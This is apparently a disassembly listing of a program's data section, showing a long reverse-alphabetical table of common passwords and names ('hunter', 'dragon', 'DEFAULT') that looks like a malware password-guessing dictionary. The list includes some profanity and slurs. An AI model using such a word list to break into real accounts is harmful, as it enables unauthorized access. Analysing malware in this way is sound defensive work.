aInside		db 'inside',0           ; DATA XREF: ___:0042FB88o
		align 4
aInput		db 'input',0            ; DATA XREF: ___:0042FB84o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:0042FB80o
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:0042FB7Co
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: ___:0042FB78o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:0042FB74o
aIngres		db 'ingres',0           ; DATA XREF: ___:0042FB70o
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:0042FB6Co
aIndiana	db 'indiana',0          ; DATA XREF: ___:0042FB68o
aIndian		db 'indian',0           ; DATA XREF: ___:0042FB64o
		align 10h
aIndia		db 'india',0            ; DATA XREF: ___:0042FB60o
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:0042FB5Co
aImperial	db 'imperial',0         ; DATA XREF: ___:0042FB58o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:0042FB54o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:0042FB50o
		align 4
aImage		db 'image',0            ; DATA XREF: ___:0042FB4Co
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:0042FB48o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:0042FB44o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:0042FB40o
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: ___:0042FB3Co
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:0042FB38o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: ___:0042FB34o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: ___:0042FB30o
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:0042FB2Co
		align 10h
aHttp_0		db 'http',0             ; DATA XREF: ___:0042FB28o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:0042FB24o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: ___:0042FB20o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:0042FB1Co
		align 10h
aHorus		db 'horus',0            ; DATA XREF: ___:0042FB18o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:0042FB14o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: ___:0042FB10o
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:0042FB0Co
		align 4
aHorny		db 'horny',0            ; DATA XREF: ___:0042FB08o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:0042FB04o
aHooker		db 'hooker',0           ; DATA XREF: ___:0042FB00o
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:0042FAFCo
		align 4
aHomework	db 'homework',0         ; DATA XREF: ___:0042FAF8o
		align 10h
aHomer		db 'homer',0            ; DATA XREF: ___:0042FAF4o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:0042FAF0o
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:0042FAECo
		align 10h
aHolly		db 'holly',0            ; DATA XREF: ___:0042FAE8o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:0042FAE4o
		align 10h
aHits		db 'hits',0             ; DATA XREF: ___:0042FAE0o
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:0042FADCo
		align 10h
aHighland	db 'highland',0         ; DATA XREF: ___:0042FAD8o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:0042FAD4o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: ___:0042FAD0o
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:0042FACCo
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:0042FAC8o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:0042FAC4o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: ___:0042FAC0o
aHeroin		db 'heroin',0           ; DATA XREF: ___:0042FABCo
		align 10h
aHero		db 'hero',0             ; DATA XREF: ___:0042FAB8o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:0042FAB4o
aHerb		db 'herb',0             ; DATA XREF: ___:0042FAB0o
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:0042FAACo
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:0042FAA8o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:0042FAA4o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:0042FAA0o
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:0042FA9Co
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: ___:0042FA98o
		align 10h
aHeather	db 'heather',0          ; DATA XREF: ___:0042FA94o
aHeathen	db 'heathen',0          ; DATA XREF: ___:0042FA90o
aHeat		db 'heat',0             ; DATA XREF: ___:0042FA8Co
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:0042FA88o
		align 4
aHead		db 'head',0             ; DATA XREF: ___:0042FA84o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:0042FA80o
		align 4
aHaven		db 'haven',0            ; DATA XREF: ___:0042FA7Co
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:0042FA78o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: ___:0042FA74o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:0042FA70o
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: ___:0042FA6Co
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:0042FA68o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:0042FA64o
		align 4
aHard		db 'hard',0             ; DATA XREF: ___:0042FA60o
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:0042FA5Co
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:0042FA58o
aHandily	db 'handily',0          ; DATA XREF: ___:0042FA54o
aHandel		db 'handel',0           ; DATA XREF: ___:0042FA50o
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: ___:0042FA4Co
aHamlet		db 'hamlet',0           ; DATA XREF: ___:0042FA48o
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: ___:0042FA44o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:0042FA40o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: ___:0042FA3Co
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:0042FA38o
		align 4
aHack		db 'hack',0             ; DATA XREF: ___:0042FA34o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:0042FA30o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: ___:0042FA2Co
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: ___:0042FA28o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:0042FA24o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: ___:0042FA20o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:0042FA1Co
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: ___:0042FA18o
aGroup		db 'group',0            ; DATA XREF: ___:0042FA14o
		align 4
aGreen		db 'green',0            ; DATA XREF: ___:0042FA10o
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:0042FA0Co
		align 4
aGrant		db 'grant',0            ; DATA XREF: ___:0042FA08o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:0042FA04o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: ___:0042FA00o
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:0042F9FCo
		align 4
aGrades		db 'grades',0           ; DATA XREF: ___:0042F9F8o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:0042F9F4o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: ___:0042F9F0o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: ___:0042F9ECo
aGorges		db 'gorges',0           ; DATA XREF: ___:0042F9E8o
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:0042F9E4o
		align 4
aGood		db 'good',0             ; DATA XREF: ___:0042F9E0o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: ___:0042F9DCo
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:0042F9D8o
		align 4
aGolden		db 'golden',0           ; DATA XREF: ___:0042F9D4o
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:0042F9D0o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: ___:0042F9CCo
aGirl		db 'girl',0             ; DATA XREF: ___:0042F9C8o
		align 4
aGinger		db 'ginger',0           ; DATA XREF: ___:0042F9C4o
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:0042F9C0o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:0042F9BCo
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: ___:0042F9B8o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: ___:0042F9B4o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: ___:0042F9B0o
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:0042F9ACo
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:0042F9A8o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:0042F9A4o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: ___:0042F9A0o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:0042F99Co
		align 4
aGateway	db 'gateway',0          ; DATA XREF: ___:0042F998o
aGarfield	db 'garfield',0         ; DATA XREF: ___:0042F994o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:0042F990o
aGames		db 'games',0            ; DATA XREF: ___:0042F98Co
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:0042F988o
aFungible	db 'fungible',0         ; DATA XREF: ___:0042F984o
		align 10h
aFunction	db 'function',0         ; DATA XREF: ___:0042F980o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:0042F97Co
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:0042F978o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:0042F974o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: ___:0042F970o
aFucker		db 'fucker',0           ; DATA XREF: ___:0042F96Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042F968o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:0042F964o
		align 4
aFrog		db 'frog',0             ; DATA XREF: ___:0042F960o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:0042F95Co
		align 4
aFriends	db 'friends',0          ; DATA XREF: ___:0042F958o
aFriend		db 'friend',0           ; DATA XREF: ___:0042F954o
		align 4
aFriday		db 'friday',0           ; DATA XREF: ___:0042F950o
		align 10h
aFrench		db 'french',0           ; DATA XREF: ___:0042F94Co
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: ___:0042F948o
aFree		db 'free',0             ; DATA XREF: ___:0042F944o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:0042F940o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: ___:0042F93Co
		align 4
aFrank		db 'frank',0            ; DATA XREF: ___:0042F938o
		align 10h
aFrance		db 'france',0           ; DATA XREF: ___:0042F934o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:0042F930o
aFourier	db 'fourier',0          ; DATA XREF: ___:0042F92Co
aForsythe	db 'forsythe',0         ; DATA XREF: ___:0042F928o
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: ___:0042F924o
		align 10h
aFormat		db 'format',0           ; DATA XREF: ___:0042F920o
		align 4
aForm		db 'form',0             ; DATA XREF: ___:0042F91Co
		align 10h
aForever	db 'forever',0          ; DATA XREF: ___:0042F918o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:0042F914o
		align 4
aFord		db 'ford',0             ; DATA XREF: ___:0042F910o
		align 4
aForce		db 'force',0            ; DATA XREF: ___:0042F90Co
		align 4
aFootball	db 'football',0         ; DATA XREF: ___:0042F908o
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:0042F904o
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:0042F900o
		align 4
aFood		db 'food',0             ; DATA XREF: ___:0042F8FCo
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:0042F8F8o
aFlower		db 'flower',0           ; DATA XREF: ___:0042F8F4o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:0042F8F0o
aFloat		db 'float',0            ; DATA XREF: ___:0042F8ECo
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:0042F8E8o
		align 4
aFishers	db 'fishers',0          ; DATA XREF: ___:0042F8E4o
aFirewall	db 'firewall',0         ; DATA XREF: ___:0042F8E0o
		align 4
aFire		db 'fire',0             ; DATA XREF: ___:0042F8DCo
		align 10h
aFinite		db 'finite',0           ; DATA XREF: ___:0042F8D8o
		align 4
aFile		db 'file',0             ; DATA XREF: ___:0042F8D4o
		align 10h
aFight		db 'fight',0            ; DATA XREF: ___:0042F8D0o
		align 4
aField		db 'field',0            ; DATA XREF: ___:0042F8CCo
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: ___:0042F8C8o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:0042F8C4o
aFermat		db 'fermat',0           ; DATA XREF: ___:0042F8C0o
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:0042F8BCo
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: ___:0042F8B8o
aFeds		db 'feds',0             ; DATA XREF: ___:0042F8B4o
		align 4
aFear		db 'fear',0             ; DATA XREF: ___:0042F8B0o
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:0042F8ACo
		align 4
aFart		db 'fart',0             ; DATA XREF: ___:0042F8A8o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:0042F8A4o
aFarad		db 'farad',0            ; DATA XREF: ___:0042F8A0o
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:0042F89Co
		align 4
aFalse		db 'false',0            ; DATA XREF: ___:0042F898o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:0042F894o
		align 4
aFaith		db 'faith',0            ; DATA XREF: ___:0042F890o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:0042F88Co
aExtensio	db 'extensio',0         ; DATA XREF: ___:0042F888o
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:0042F884o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:0042F880o
		align 4
aExplore	db 'explore',0          ; DATA XREF: ___:0042F87Co
aExplode	db 'explode',0          ; DATA XREF: ___:0042F878o
aExpert		db 'expert',0           ; DATA XREF: ___:0042F874o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:0042F870o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: ___:0042F86Co
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: ___:0042F868o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:0042F864o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: ___:0042F860o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: ___:0042F85Co
		align 4
aErotic		db 'erotic',0           ; DATA XREF: ___:0042F858o
		align 10h
aErin		db 'erin',0             ; DATA XREF: ___:0042F854o
		align 4
aErika		db 'erika',0            ; DATA XREF: ___:0042F850o
		align 10h
aErica		db 'erica',0            ; DATA XREF: ___:0042F84Co
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:0042F848o
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: ___:0042F844o
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:0042F840o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:0042F83Co
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:0042F838o
		align 4
aEnglish	db 'english',0          ; DATA XREF: ___:0042F834o
aEngland	db 'england',0          ; DATA XREF: ___:0042F830o
aEngineer	db 'engineer',0         ; DATA XREF: ___:0042F82Co
		align 10h
aEngine		db 'engine',0           ; DATA XREF: ___:0042F828o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: ___:0042F824o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:0042F820o
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:0042F81Co
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: ___:0042F818o
aEmail_0	db 'email',0            ; DATA XREF: ___:0042F814o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: ___:0042F810o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:0042F80Co
		align 4
aElephant	db 'elephant',0         ; DATA XREF: ___:0042F808o
		align 4
aElectron	db 'electron',0         ; DATA XREF: ___:0042F804o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: ___:0042F800o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: ___:0042F7FCo
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: ___:0042F7F8o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:0042F7F4o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: ___:0042F7F0o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:0042F7ECo
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:0042F7E8o
aEdwina		db 'edwina',0           ; DATA XREF: ___:0042F7E4o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:0042F7E0o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: ___:0042F7DCo
		align 10h
aEducation	db 'education',0        ; DATA XREF: ___:0042F7D8o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:0042F7D4o
aEdit		db 'edit',0             ; DATA XREF: ___:0042F7D0o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:0042F7CCo
		align 4
aEdges		db 'edges',0            ; DATA XREF: ___:0042F7C8o
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: ___:0042F7C4o
		align 4
aEcho		db 'echo',0             ; DATA XREF: ___:0042F7C0o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: ___:0042F7BCo
		align 4
aEasy		db 'easy',0             ; DATA XREF: ___:0042F7B8o
		align 10h
aEasier		db 'easier',0           ; DATA XREF: ___:0042F7B4o
		align 4
aEarth		db 'earth',0            ; DATA XREF: ___:0042F7B0o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: ___:0042F7ACo
		align 4
aEager		db 'eager',0            ; DATA XREF: ___:0042F7A8o
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: ___:0042F7A4o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: ___:0042F7A0o
aDuncan		db 'duncan',0           ; DATA XREF: ___:0042F79Co
		align 4
aDulce		db 'dulce',0            ; DATA XREF: ___:0042F798o
		align 10h
aDuke		db 'duke',0             ; DATA XREF: ___:0042F794o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: ___:0042F790o
aDude		db 'dude',0             ; DATA XREF: ___:0042F78Co
		align 4
aDuck		db 'duck',0             ; DATA XREF: ___:0042F788o
		align 10h
aDrought	db 'drought',0          ; DATA XREF: ___:0042F784o
aDrive		db 'drive',0            ; DATA XREF: ___:0042F780o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:0042F77Co
		align 4
aDragon		db 'dragon',0           ; DATA XREF: ___:0042F778o
		align 10h
aDownload	db 'download',0         ; DATA XREF: ___:0042F774o
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042F770o
		align 4
aDoors		db 'doors',0            ; DATA XREF: ___:0042F76Co
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042F768o
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042F764o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042F760o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042F75Co
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042F758o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042F754o
		align 4
aDong		db 'dong',0             ; DATA XREF: ___:0042F750o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042F74Co
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042F748o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042F744o
aDisney		db 'disney',0           ; DATA XREF: ___:0042F740o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042F73Co
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042F738o
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: ___:0042F734o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042F730o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042F72Co
		align 4
aDisc		db 'disc',0             ; DATA XREF: ___:0042F728o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042F724o
		align 4
aDirector	db 'director',0         ; DATA XREF: ___:0042F720o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: ___:0042F71Co
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042F718o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042F714o
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042F710o
aDieter		db 'dieter',0           ; DATA XREF: ___:0042F70Co
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042F708o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042F704o
aDick		db 'dick',0             ; DATA XREF: ___:0042F700o
		align 4
aDice		db 'dice',0             ; DATA XREF: ___:0042F6FCo
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042F6F8o
		align 4
aDiana		db 'diana',0            ; DATA XREF: ___:0042F6F4o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042F6F0o
aDial		db 'dial',0             ; DATA XREF: ___:0042F6ECo
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042F6E8o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: ___:0042F6E4o
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042F6E0o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042F6DCo
aDesk		db 'desk',0             ; DATA XREF: ___:0042F6D8o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042F6D4o
aDennis		db 'dennis',0           ; DATA XREF: ___:0042F6D0o
		align 4
aDenise		db 'denise',0           ; DATA XREF: ___:0042F6CCo
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042F6C8o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042F6C4o
		align 4
aDelta		db 'delta',0            ; DATA XREF: ___:0042F6C0o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042F6BCo
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042F6B8o
aDeck		db 'deck',0             ; DATA XREF: ___:0042F6B0o
		align 4
aDecember	db 'december',0         ; DATA XREF: ___:0042F6ACo
		align 10h
aDebug		db 'debug',0            ; DATA XREF: ___:0042F6A8o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042F6A4o
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042F6A0o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042F69Co
		align 4
aDead		db 'dead',0             ; DATA XREF: ___:0042F698o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042F694o
		align 4
aDave		db 'dave',0             ; DATA XREF: ___:0042F690o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042F68Co
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042F688o
		align 10h
aDark		db 'dark',0             ; DATA XREF: ___:0042F684o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: ___:0042F680o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: ___:0042F67Co
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042F678o
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042F674o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042F670o
		align 4
aDana		db 'dana',0             ; DATA XREF: ___:0042F66Co
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042F668o
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042F664o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042F660o
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042F65Co
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042F658o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042F654o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: ___:0042F650o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: ___:0042F64Co
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042F648o
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042F644o
aCristina	db 'cristina',0         ; DATA XREF: ___:0042F640o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042F63Co
		align 10h
aCrime		db 'crime',0            ; DATA XREF: ___:0042F638o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: ___:0042F634o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042F630o
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042F62Co
		align 4
aCreature	db 'creature',0         ; DATA XREF: ___:0042F628o
		align 10h
aCreation	db 'creation',0         ; DATA XREF: ___:0042F624o
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042F620o
		align 4
aCream		db 'cream',0            ; DATA XREF: ___:0042F61Co
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042F618o
		align 4
aCrack		db 'crack',0            ; DATA XREF: ___:0042F614o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042F610o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042F60Co
		align 4
aCountry	db 'country',0          ; DATA XREF: ___:0042F608o
aCounters	db 'counters',0         ; DATA XREF: ___:0042F604o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: ___:0042F600o
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042F5FCo
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042F5F8o
		align 4
aCops		db 'cops',0             ; DATA XREF: ___:0042F5F4o
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042F5F0o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: ___:0042F5ECo
		align 4
aCool		db 'cool',0             ; DATA XREF: ___:0042F5E8o
		align 4
aCookie		db 'cookie',0           ; DATA XREF: ___:0042F5E4o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042F5E0o
		align 4
aCook		db 'cook',0             ; DATA XREF: ___:0042F5DCo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40F6F1+2199o
					; ___:0042F5D8o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042F5D4o
aConserva	db 'conserva',0         ; DATA XREF: ___:0042F5D0o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: ___:0042F5CCo
		align 4
aCondom		db 'condom',0           ; DATA XREF: ___:0042F5C4o
		align 10h
aCondo		db 'condo',0            ; DATA XREF: ___:0042F5C0o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: ___:0042F5BCo
		align 4
aComrade	db 'comrade',0          ; DATA XREF: ___:0042F5B8o
aComputin	db 'computin',0         ; DATA XREF: ___:0042F5B4o
		align 4
aCompany	db 'company',0          ; DATA XREF: ___:0042F5B0o
aCommrade	db 'commrade',0         ; DATA XREF: ___:0042F5ACo
		align 4
aCommit		db 'commit',0           ; DATA XREF: ___:0042F5A8o
		align 4
aComics		db 'comics',0           ; DATA XREF: ___:0042F5A4o
		align 4
aCombat		db 'combat',0           ; DATA XREF: ___:0042F5A0o
		align 4
aColor		db 'color',0            ; DATA XREF: ___:0042F59Co
		align 4
aCollins	db 'collins',0          ; DATA XREF: ___:0042F598o
aCold		db 'cold',0             ; DATA XREF: ___:0042F594o
		align 4
aCola		db 'cola',0             ; DATA XREF: ___:0042F590o
		align 4
aCoke		db 'coke',0             ; DATA XREF: ___:0042F58Co
		align 4
aCoin		db 'coin',0             ; DATA XREF: ___:0042F588o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: ___:0042F584o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: ___:0042F580o
		align 4
aCodename	db 'codename',0         ; DATA XREF: ___:0042F57Co
		align 4
aCode		db 'code',0             ; DATA XREF: ___:0042F578o
		align 4
aCock		db 'cock',0             ; DATA XREF: ___:0042F574o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: ___:0042F570o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: ___:0042F56Co
		align 4
aCoast		db 'coast',0            ; DATA XREF: ___:0042F568o
		align 4
aClusters	db 'clusters',0         ; DATA XREF: ___:0042F564o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: ___:0042F560o
aClinton	db 'clinton',0          ; DATA XREF: ___:0042F55Co
aCleavage	db 'cleavage',0         ; DATA XREF: ___:0042F558o
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: ___:0042F554o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: ___:0042F550o
aClassic	db 'classic',0          ; DATA XREF: ___:0042F54Co
aClasses	db 'classes',0          ; DATA XREF: ___:0042F548o
aClass		db 'class',0            ; DATA XREF: ___:0042F544o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: ___:0042F540o
		align 10h
